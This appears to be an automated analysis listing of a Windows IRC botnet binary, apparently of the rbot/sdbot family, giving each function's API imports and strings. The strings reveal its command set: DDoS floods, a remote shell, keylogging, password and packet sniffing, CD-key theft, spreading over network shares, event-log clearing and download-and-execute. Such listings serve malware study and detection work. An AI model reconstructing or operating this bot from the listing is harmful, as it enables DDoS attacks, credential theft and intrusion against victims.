sub_outside():
	KERNEL32.GetTickCount
	KERNEL32.GetComputerNameA
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.CreateFileA
	KERNEL32.TransactNamedPipe
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.ReadFile
	KERNEL32.Sleep
	WS2_32.gethostbyname
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.accept
	WS2_32.sendto
	WS2_32.WSAStartup

_WinMain16():
	KERNEL32.GetTickCount
	KERNEL32.SetErrorMode
	KERNEL32.CreateMutexA
	KERNEL32.WaitForSingleObject
	WS2_32.WSAStartup
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.CopyFileA
	KERNEL32.GetCurrentProcessId
	KERNEL32.OpenProcess
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	WS2_32.WSACleanup
	KERNEL32.ExitProcess
	KERNEL32.DeleteFileA
	KERNEL32.CreateThread

sub_415825(00e8):
	WS2_32.WSAStartup
	WS2_32.WSASocketA
	WS2_32.setsockopt
	WS2_32.htons
	WS2_32.htonl
	KERNEL32.QueryPerformanceFrequency
	KERNEL32.QueryPerformanceCounter
	WS2_32.sendto
	WS2_32.WSAGetLastError
	WS2_32.closesocket
	WS2_32.WSACleanup

	"ddos.syn"
	"ddos.ack"
	"ddos.random"
	"-"

sub_419A03(00f1):
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap

	"WINLOGON"
	"NWGINA"
	"MSGINA"

sub_4255BD(0126):
	KERNEL32.SetUnhandledExceptionFilter

sub_416871(01af):
	WS2_32.gethostname
	WS2_32.gethostbyname
	WS2_32.socket
	WS2_32.setsockopt
	KERNEL32.GetTickCount
	WS2_32.htons
	WS2_32.sendto
	WS2_32.closesocket

sub_418CEA(0240):
	KERNEL32.GetSystemDirectoryA
	KERNEL32.CreateFileA
	KERNEL32.CloseHandle
	WS2_32.recv
	WS2_32.htonl
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread

	"%s%s"
	"a+b"
	"-"
	"-"
	"-"

sub_413A51(0394):
	WS2_32.WSAStartup
	KERNEL32.SetConsoleCtrlHandler
	NTDLL.RtlGetLastWin32Error
	WS2_32.WSACleanup
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.setsockopt
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	WS2_32.accept
	WS2_32.WSAGetLastError
	WS2_32.closesocket
	KERNEL32.ExitThread

	"-"
	"-"
	"-"
	"-"
	"-"

sub_40C15B(04a6):
	WS2_32.inet_addr
	KERNEL32.ExitThread

	"netbios"
	"-"
	"-"

sub_40F87A(074f):
	KERNEL32.WideCharToMultiByte

	"\\\\"
	"\\"
	"admin$"

sub_416104(0763):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.gethostbyname
	WS2_32.htons
	WS2_32.sendto
	KERNEL32.Sleep
	KERNEL32.ExitThread

	"-"
	"-"

sub_416B1E(0862):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.WSAGetLastError
	WS2_32.setsockopt
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.htonl
	WS2_32.sendto
	WS2_32.closesocket
	KERNEL32.ExitThread

	"-"
	"-"
	"syn"
	"ack"
	"random"
	"-"
	"-"

sub_4255AA(088b):
	KERNEL32.SetUnhandledExceptionFilter

sub_40C30A(08cf):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.inet_ntoa
	WS2_32.closesocket

	"-"

sub_415BD8(0ab1):
	KERNEL32.GetTickCount
	KERNEL32.ExitThread

	"-"

sub_40ED4C(0b16):
	WS2_32.htonl
	WS2_32.send

sub_417272(0b87):
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.WSAGetLastError
	WS2_32.inet_addr
	WS2_32.htons
	KERNEL32.GetTickCount
	WS2_32.getsockname
	WS2_32.sendto
	WS2_32.closesocket

	"-"
	"-"
	"-"
	"%d.%d.%d.%d"
	"-"
	"-"

sub_41A7A3(0c2c):
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...

sub_41ACB2(0f38):
	MSVCRT._tolower

sub_41C87C(0ff0):
	KERNEL32.GetExitCodeProcess
	KERNEL32.Sleep
	KERNEL32.ReadFile
	KERNEL32.PeekNamedPipe
	KERNEL32.ExitThread

sub_41CB8D(11be):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey

	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"-"
	"-"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"

sub_41DCBE(1218):
	WS2_32.send

sub_41C19B(12c9):
	"-"
	"-"
	"-"

sub_40B690(16f0):
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep

	"windows.exe"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"

sub_40AAE6(1782):
	KERNEL32.GetTickCount
	USER32.FindWindowA

	"mIRC"
	"[M]"
	"[%d]%s"
	"[M]"

sub_41B98C(1bf6):
	"Account: %S"
	"Full Name:	%S"
	"User Comment: %S"
	"Comment: %S"
	"Unknown"
	"Administrator"
	"User"
	"Guest"
	"Privilege Level: %s"
	"Auth Flags: %d"
	"Home Directory: %S"
	"Parameters: %S"
	"Password Age: %d"
	"Bad Password Count: %d"
	"Number of Logins: %d"
	"Last Logon: %d"
	"Last Logoff: %d"
	"Logon Server: %S"
	"Country	Code: %d"
	"User's Language: %d"
	"Max. Storage: %d"
	"-"

sub_414ECA(1dc3):
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.WSAGetLastError
	WS2_32.bind
	WS2_32.WSAIoctl
	WS2_32.inet_ntoa
	WS2_32.recv
	WS2_32.closesocket
	KERNEL32.ExitThread

	"-"
	"-"
	"[PSNIFF]"
	"-"
	":.login"
	"-"
	"-"

sub_4023C9(1e50):
	WS2_32.getsockname

	"%d.%d.%d.%d"

sub_41AA0A(1e68):
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

sub_41B065(1e78):
	KERNEL32.GetVersionExA
	ADVAPI32.OpenEventLogA
	ADVAPI32.ClearEventLogA
	NTDLL.RtlGetLastWin32Error

	"-"
	"-"

sub_416F65(1ebc):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.getsockname
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.sendto
	WS2_32.closesocket

	"%d.%d.%d.%d"

sub_401000(2408):
	ADVAPI32.RegCreateKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegDeleteValueA
	ADVAPI32.RegCloseKey

	"loghDriver"

sub_41C7F5(2572):
	KERNEL32.Sleep
	WS2_32.send

	"PRIVMSG %s :%s\r"
	"%s"

sub_413E45(27f8):
	KERNEL32.GenerateConsoleCtrlEvent
	WS2_32.send
	KERNEL32.WriteFile
	WS2_32.recv

sub_40B186(2926):
	KERNEL32.ExitThread

sub_4137FD(292d):
	WS2_32.recv

	"-"

sub_40C3D3(29a9):
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	KERNEL32.CloseHandle
	WS2_32.htonl

	"-"

sub_41C07C(2a8a):
	ADVAPI32.IsValidSecurityDescriptor

	"Share	name:	 Resource:		 "...
	"-"
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"

sub_415C89(2b05):
	WS2_32.socket
	WS2_32.WSAGetLastError
	WS2_32.setsockopt
	WS2_32.inet_addr
	WS2_32.htons
	KERNEL32.GetTickCount
	WS2_32.sendto
	WS2_32.closesocket
	KERNEL32.ExitThread

	"-"
	"-"
	"-"
	"-"
	"-"

sub_418F38(2b72):
	WININET.InternetOpenUrlA
	KERNEL32.CreateFileA
	KERNEL32.GetTickCount
	WININET.InternetReadFile
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.CreateProcessA
	WS2_32.WSACleanup
	KERNEL32.ExitProcess
	WININET.InternetCloseHandle
	KERNEL32.ExitThread

	"-"
	"-"
	"-"
	"-"
	"-"
	"open"
	"-"
	"-"
	"-"

sub_4152B5(2f98):
	"IRC	sniff"
	"#.fast.#"
	"OPER	"
	"NICK	"
	"oper	"
	"You are now an IRC Operator"

sub_40C4C0(2fc9):
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	KERNEL32.CloseHandle

	"-"
	"-"

sub_402472(31d6):
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.Sleep
	WS2_32.recv

	"PASS	%s\r\n"

sub_40BB72(32da):
	WS2_32.htonl

sub_41B507(3362):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"

sub_41A954(3444):
	KERNEL32.CreateThread

sub_417F75(35d4):
	GDI32.CreateDCA
	GDI32.GetDeviceCaps
	GDI32.CreateCompatibleDC
	GDI32.CreateDIBSection
	GDI32.SelectObject
	GDI32.BitBlt
	GDI32.GetDIBColorTable
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	GDI32.DeleteObject
	GDI32.DeleteDC

	"DISPLAY"

sub_4012D6(35eb):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress
	NTDLL.RtlGetLastWin32Error
	KERNEL32.LoadLibraryA
	WININET.InternetOpenA

	"kernel32.dll"
	"SetErrorMode"
	"CreateToolhelp32Snapshot"
	"Process32First"
	"GetDiskFreeSpaceExA"
	"GetLogicalDriveStringsA"
	"SearchPathA"
	"QueryPerformanceCounter"
	"QueryPerformanceFrequency"
	"RegisterServiceProcess"
	"user32.dll"
	"SendMessageA"
	"FindWindowA"
	"IsWindow"
	"GetClipboardData"
	"CloseClipboard"
	"GetAsyncKeyState"
	"GetKeyState"
	"GetWindowTextA"
	"GetForegroundWindow"
	"advapi32.dll"
	"RegCreateKeyExA"
	"RegSetValueExA"
	"RegQueryValueExA"
	"RegDeleteValueA"
	"RegCloseKey"
	"ClearEventLogA"
	"OpenProcessToken"
	"LookupPrivilegeValueA"
	"AdjustTokenPrivileges"
	"OpenSCManagerA"
	"OpenServiceA"
	"ControlService"
	"CloseServiceHandle"
	"EnumServicesStatusA"
	"IsValidSecurityDescriptor"
	"GetUserNameA"
	"gdi32.dll"
	"CreateDCA"
	"CreateDIBSection"
	"CreateCompatibleDC"
	"GetDIBColorTable"
	"SelectObject"
	"BitBlt"
	"DeleteDC"
	"DeleteObject"
	"ws2_32.dll"
	"WSAStartup"
	"WSASocketA"
	"WSAAsyncSelect"
	"__WSAFDIsSet"
	"WSAIoctl"
	"WSAGetLastError"
	"WSACleanup"
	"socket"
	"ioctlsocket"
	"connect"
	"inet_ntoa"
	"inet_addr"
	"htons"
	"htonl"
	"ntohs"
	"ntohl"
	"send"
	"sendto"
	"recv"
	"recvfrom"
	"bind"
	"select"
	"listen"
	"accept"
	"setsockopt"
	"getsockname"
	"gethostname"
	"getpeername"
	"closesocket"
	"wininet.dll"
	"InternetGetConnectedState"
	"InternetGetConnectedStateEx"
	"HttpOpenRequestA"
	"HttpSendRequestA"
	"InternetConnectA"
	"InternetOpenUrlA"
	"InternetCrackUrlA"
	"InternetReadFile"
	"InternetCloseHandle"
	"Mozilla/4.0 (compatible)"
	"icmp.dll"
	"IcmpCreateFile"
	"IcmpCloseHandle"
	"IcmpSendEcho"
	"netapi32.dll"
	"NetShareAdd"
	"NetShareDel"
	"NetShareEnum"
	"NetScheduleJobAdd"
	"NetApiBufferFree"
	"NetRemoteTOD"
	"NetUserAdd"
	"NetUserDel"
	"NetUserEnum"
	"NetUserGetInfo"
	"NetMessageBufferSend"
	"NetWkstaGetInfo"
	"dnsapi.dll"
	"DnsFlushResolverCache"
	"DnsFlushResolverCacheEntry_A"
	"iphlpapi.dll"
	"DeleteIpNetEntry"
	"mpr.dll"
	"WNetAddConnection2A"
	"WNetAddConnection2W"
	"WNetCancelConnection2A"
	"WNetCancelConnection2W"
	"shell32.dll"
	"SHChangeNotify"
	"odbc32.dll"
	"SQLDriverConnect"
	"SQLAllocHandle"
	"avicap32.dll"
	"capCreateCaptureWindowA"
	"capGetDriverDescriptionA"

sub_419664(3981):
	"failed"
	"-"
	"-"

sub_40BCF3(3b73):
	KERNEL32.GetTickCount
	WS2_32.inet_ntoa
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep
	KERNEL32.ExitThread

	"-"
	"-"
	"netbios"

sub_41AEDD(3d9a):
	KERNEL32.GetTempPathA
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	KERNEL32.ExpandEnvironmentStringsA
	KERNEL32.CreateProcessA

	"%sdel.bat"
	"@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
	"%%comspec%% /c %s	%s"

sub_414056(409e):
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TerminateThread
	KERNEL32.WaitForMultipleObjects
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle
	WS2_32.closesocket

	"-"
	"-"
	"-"

sub_4128A1(40d3):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSACleanup

	"%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...

sub_40EE6B(4106):
	WS2_32.send

sub_418956(41b6):
	WS2_32.socket
	WS2_32.htons
	WS2_32.bind
	WS2_32.getsockname
	WS2_32.listen
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	WS2_32.inet_addr
	WS2_32.htonl
	WS2_32.select
	WS2_32.accept
	WS2_32.closesocket
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	WS2_32.send
	WS2_32.recv
	KERNEL32.CloseHandle
	WS2_32.inet_ntoa
	KERNEL32.ExitThread

	"-"
	"-"
	"-"
	"-"

sub_41D779(432f):
	KERNEL32.GetVersionExA
	ADVAPI32.GetUserNameA
	WS2_32.inet_addr
	WS2_32.gethostbyaddr
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	KERNEL32.GlobalMemoryStatus

	"95"
	"98"
	"2K"
	"???"
	"%s (%s)"
	"couldn't resolve host"
	"dd:MMM:yyyy"
	"HH:mm:ss"
	"-"

sub_41A293(43a1):
	"-|`_\\{[]}"
	"-|`_\\{[]}"
	"-|`_\\{[]}"
	"-|`_\\{[]}"

sub_40E971(45aa):
	"BBBB"
	"CCCC"
	"`"

sub_411B17(4785):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.htons
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 StnyFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 StnyFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"TYPE"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"-"
	"226 Transfer complete.\n"
	"-"
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"

sub_415F82(49bf):
	IPHLPAPI.IcmpCreateFile
	WS2_32.inet_addr
	WS2_32.gethostbyname
	IPHLPAPI.IcmpSendEcho
	IPHLPAPI.IcmpCloseHandle
	KERNEL32.ExitThread

	"-"
	"-"

sub_419799(4b0f):
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FindClose

	"%s\\*"
	"%s\\%s"
	"-"

sub_41D9E5(4b19):
	WININET.InternetGetConnectedStateEx

	"Not connected"
	"Dial-up"
	"-"

sub_40FA56(4c3f):
	"8a885d04-1ceb-11c9-9fe8-08002b104860"

sub_40110F(4de7):
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.Sleep
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	KERNEL32.ExitProcess

sub_411A7D(4dfb):
	KERNEL32.GetModuleFileNameA
	WS2_32.send
	KERNEL32.Sleep
	WS2_32.closesocket
	WS2_32.WSACleanup

	"rb"

sub_413F5A(4ec3):
	KERNEL32.CreatePipe
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CloseHandle

	"-"

sub_40274D(508b):
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	WS2_32.getsockname
	WS2_32.inet_ntoa
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetSystemDirectoryA
	DNSAPI.DnsFlushResolverCache
	KERNEL32.GetTickCount
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.ExitProcess
	WS2_32.inet_addr
	WS2_32.WSAStartup
	WS2_32.gethostbyname
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	KERNEL32.MoveFileA
	KERNEL32.CreateProcessA
	KERNEL32.GetTempPathA
	KERNEL32.DeleteFileA
	WS2_32.gethostbyaddr
	KERNEL32.TerminateThread

	" :"
	" "
	"!"
	"PING"
	"PONG	%s\r\n"
	"JOIN	%s %s\r\n"
	"001"
	"005"
	"302"
	"@"
	"433"
	"NICK	%s\r\n"
	"KICK"
	"-"
	"NOTICE %s :%s\r\n"
	"JOIN	%s %s\r\n"
	"NICK"
	":%s%s"
	"PART"
	"QUIT"
	"353"
	"-"
	"PART"
	"NOTICE %s :%s\r\n"
	"PRIVMSG"
	"NOTICE"
	"332"
	"SEND"
	"%s"
	"-"
	"#"
	"-"
	"CHAT"
	"%s"
	"-"
	"login"
	"l"
	"332"
	" :"
	"$%d-"
	"$%d"
	"$me"
	"$user"
	"$chan"
	"$rndnick"
	"$server"
	"$chr("
	")"
	"63"
	" "
	"rndnick"
	"rn"
	"die"
	"d"
	"logout"
	"lo"
	"version"
	"ver"
	"dedication"
	"ded"
	"speedtest"
	"st"
	"secure"
	"sec"
	"unsecure"
	"unsec"
	"bindshell"
	"bd"
	"Server"
	"socks4"
	"s4"
	"socks4stop"
	"Server"
	"rloginstop"
	"Server"
	"httpstop"
	"Server"
	"logstop"
	"Log list"
	"redirectstop"
	"TCP redirect"
	"ddos.stop"
	"DDoS flood"
	"synstop"
	"Syn	flood"
	"skysynstop"
	"SkySyn flood"
	"targa3stop"
	"Targa3 flood"
	"wonkstop"
	"Wonk flood"
	"packetstop"
	"DDoS flood"
	"Syn	flood"
	"UDP	flood"
	"Ping flood"
	"Targa3 flood"
	"Wonk flood"
	"Tsunami	flood"
	"Wisdom attack"
	"SkySyn flood"
	"tsunamistop"
	"Tsunami	flood"
	"wisdomstop"
	"Wisdom attack"
	"udpstop"
	"UDP	flood"
	"pingstop"
	"Ping flood"
	"tftpstop"
	"Server"
	"findfilestop"
	"ffstop"
	"procsstop"
	"psstop"
	"clonestop"
	"Clone"
	"securestop"
	"Secure"
	"scanstop"
	"Scan"
	"scanstats"
	"stats"
	"trstats"
	"connectbackstats"
	"cbstats"
	"exploitlist"
	"explist"
	"reconnect"
	"r"
	"disconnect"
	"dc"
	"quit"
	"q"
	"status"
	"s"
	"id"
	"i"
	"reboot"
	"-"
	"threads"
	"t"
	"aliases"
	"al"
	"log"
	"lg"
	"clearlog"
	"clg"
	"netinfo"
	"ni"
	"sysinfo"
	"si"
	"remove"
	"rm"
	"procs"
	"ps"
	"getcdkeys"
	"key"
	"uptime"
	"up"
	"driveinfo"
	"drv"
	"testdlls"
	"dll"
	"opencmd"
	"ocmd"
	"cmdstop"
	"Remote shell"
	"who"
	""
	"%d. %s"
	"spoof"
	"off"
	"-"
	"getclip"
	"gc"
	"flusharp"
	"farp"
	"flushdns"
	"fdns"
	"currentip"
	"cip"
	"rloginserver"
	"rlogin"
	"httpserver"
	"http"
	"tftpserver"
	"tftp"
	"crash"
	"-"
	"crash"
	"scanall"
	"sa"
	"phonehome"
	"NOTICE %s :PHONING HOME: hi ;).\r\n"
	"findpass"
	"fp"
	"-"
	"-"
	"Random"
	"Sequential"
	"-"
	"-"
	"windows.exe"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"full"
	"-"
	"-"
	"%s"
	"-"
	"sub"
	"-"
	"ficken"
	"-"
	"-"
	"QUIT	:%s\r\n"
	"QUIT :later\r\n"
	"QUIT :disconnecting\r\n"
	"QUIT :reconnecting\r\n"
	"Process list"
	"Find file"
	"-"
	"-"
	"secure"
	"sec"
	"Unsecuring"
	"-"
	"blood-rep"
	"-"
	"-"
	"332"
	"get"
	"-"
	"%d.%d.%d.*"
	"-"
	"-"
	"-"
	"exploit"
	"-"
	"reconnect.in"
	"rin"
	"reconnect.in.ms"
	"rinms"
	"flood"
	"load"
	"-"
	"pm"
	" "
	"_"
	"privmsg %s	:%s"
	"ct"
	" "
	"_"
	"privmsg %s :"
	"nt"
	" "
	"_"
	"notice %s	:%s"
	"mode"
	" "
	"_"
	"mode	%s %s"
	"join"
	"join	%s"
	"part"
	"part	%s"
	"partflood"
	"..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
	"part	%s %s"
	"pnick"
	"%s%i"
	"NICK	%s"
	"join/part"
	"join	%s"
	"..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
	"part	%s %s"
	"join	%s"
	"..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
	"part	%s %s"
	"join	%s"
	"..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a."...
	"part	%s %s"
	"dcc"
	"PRIVMSG %s :"
	"nick"
	"join	%s"
	"NICK	%s"
	"NICK	%s"
	"NICK	%s"
	"chgnick"
	"NICK	%s"
	"msg"
	"join	%s"
	"..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
	"privmsg %s	:%s"
	"..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
	"privmsg %s	:%s"
	"..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
	"privmsg %s	:%s"
	"notice"
	"join	%s"
	"..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
	"NOTICE %s	:%s"
	"..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
	"NOTICE %s	:%s"
	"..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
	"NOTICE %s	:%s"
	"ctcp"
	"join	%s"
	"PRIVMSG %s :"
	"PRIVMSG %s :"
	"PRIVMSG %s :"
	"PRIVMSG %s :"
	"mix"
	"join	%s"
	"PRIVMSG %s :"
	"..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
	"NOTICE %s	:%s"
	"..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
	"PRIVMSG %s :%s"
	"..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W"...
	"NOTICE %s	:%s"
	"register"
	"nickserv register %s %s"
	"off"
	"nick"
	"n"
	"join"
	"j"
	"part"
	"pt"
	"raw"
	"r"
	"killthread"
	"k"
	"c_quit"
	"c_q"
	"c_rndnick"
	"c_rn"
	"prefix"
	"pr"
	"open"
	"o"
	"server"
	"se"
	"dns"
	"dn"
	"killproc"
	"kp"
	"kill"
	"ki"
	"delete"
	"del"
	"get"
	"gt"
	"list"
	"li"
	"visit"
	"v"
	"mirccmd"
	"mirc"
	"cmd"
	"cm"
	"readfile"
	"rf"
	"psniff"
	"on"
	"-"
	"off"
	"sniffer"
	"on"
	"-"
	"off"
	"ident"
	"on"
	"-"
	"off"
	"keylog"
	"on"
	"file"
	"off"
	"-"
	"-"
	"net"
	"start"
	"%s"
	"stop"
	"pause"
	"continue"
	"delete"
	"share"
	"%s"
	"user"
	"%s"
	"send"
	"%s"
	"-"
	"capture"
	"cap"
	"gethost"
	"gh"
	"killlog"
	"kl"
	"addalias"
	"aa"
	"privmsg"
	"pm"
	"action"
	"a"
	"cycle"
	"cy"
	"mode"
	"m"
	"c_raw"
	"c_r"
	"c_mode"
	"c_m"
	"c_nick"
	"c_n"
	"c_join"
	"c_j"
	"c_part"
	"c_p"
	"targa3"
	"t3"
	"tsunami"
	"tsn"
	"repeat"
	"rp"
	"delay"
	"de"
	"update"
	"up"
	"execute"
	"e"
	"findfile"
	"ff"
	"rename"
	"mv"
	"icmpflood"
	"icmp"
	"clone"
	"c"
	"ddos.syn"
	"ddos.ack"
	"ddos.random"
	"wisdom.udp"
	"synflood"
	"syn"
	"skysyn"
	"-"
	"phatwonk"
	"wonk"
	"download"
	"dl"
	"redirect"
	"rd"
	"scan"
	"sc"
	"c_privmsg"
	"c_pm"
	"c_action"
	"c_a"
	"portscan"
	"psc"
	"advscan"
	"asc"
	"udpflood"
	"udp"
	"u"
	"netsend"
	"ns"
	"pingflood"
	"ping"
	"p"
	"tcpflood"
	"tcp"
	"email"
	" "
	"_"
	"helo $rndnick\nmail from: <%s>\nrcpt to: "...
	"-"
	"httpcon"
	"hcon"
	"syn"
	"ack"
	"random"
	"Spoofed"
	"Normal"
	"-"
	"-"
	"-"
	"ICMP.dll not available"
	"-"
	"-"
	"-"
	"-"
	"upload"
	"-"
	"%s\\%i%i%i.dll"
	"ab"
	"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
	"-s:%s"
	"ftp.exe"
	"open"
	"-"
	"Random"
	"Sequential"
	"-"
	"-"
	"[%s]	* %s %s"
	"[%s]	<%s> %s"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"-"
	"ficken"
	"%s%s.exe"
	"-"
	"332"
	"%s %s %s :%s"
	"332"
	"repeat"
	"%s %s %s :%s"
	"-"
	"-"
	"-"
	"-"
	"PART	%s"
	"JOIN %s %s"
	"NICK	%s"
	"%s\r\n"
	"MODE	%s"
	"%s\r\n"
	"%s\r\n"
	"MODE	%s\r\n"
	"332"
	"PART	%s\r\n"
	"JOIN	%s %s\r\n"
	"-"
	"-"
	"-"
	"%s %s %s :%s"
	"-"
	"-"
	"-"
	"screen"
	"-"
	"-"
	"drivers"
	"-"
	"-"
	"frame"
	"-"
	"-"
	"video"
	"-"
	"r"
	"-"
	"\n"
	"-"
	"-"
	"-"
	"-"
	"%s"
	"-"
	"-"
	"-"
	"-"
	"open"
	"NICK	%s"
	"%s\r\n"
	"QUIT :later\r\n"
	"all"
	"-"
	"%s\r\n"
	"PART	%s\r\n"
	"JOIN	%s %s\r\n"
	"-"
	"NICK	%s\r\n"
	"-"
	"QUIT :reconnecting\r\n"
	"-"
	"QUIT :reconnecting\r\n"
	"-"
	"NICK	%s\r\n"
	"-"
	"!"
	"~"
	"keke1"
	"NOTICE %s :Pass auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"-"
	"NOTICE %s :Host Auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"keke1"
	"-"
	"USERHOST %s\r\n"
	"-x+i"
	"MODE %s %s\r\n"
	"JOIN	%s %s\r\n"

sub_41B7C1(52c8):
	KERNEL32.MultiByteToWideChar

sub_41549E(53ed):
	WS2_32.gethostname
	WS2_32.gethostbyname
	WS2_32.socket
	WS2_32.bind
	WS2_32.WSAGetLastError
	WS2_32.WSAIoctl
	WS2_32.closesocket
	KERNEL32.ExitThread
	WS2_32.recv
	WS2_32.htons
	WS2_32.inet_ntoa

	"-"
	"-"
	"%s"
	"%s"
	"-"

sub_418799(54e0):
	WS2_32.closesocket
	KERNEL32.Sleep
	WS2_32.recv
	KERNEL32.ExitThread

	"-"
	"-"
	"\n"
	"-"

sub_41C736(55bf):
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle

sub_410E59(572f):
	KERNEL32.WriteFile

sub_41532B(5845):
	"FTP	sniff"
	"#.fast.#"
	"NICK	"
	"220 "
	"230 "
	"USER	"
	"PASS	"

sub_410BF8(5987):
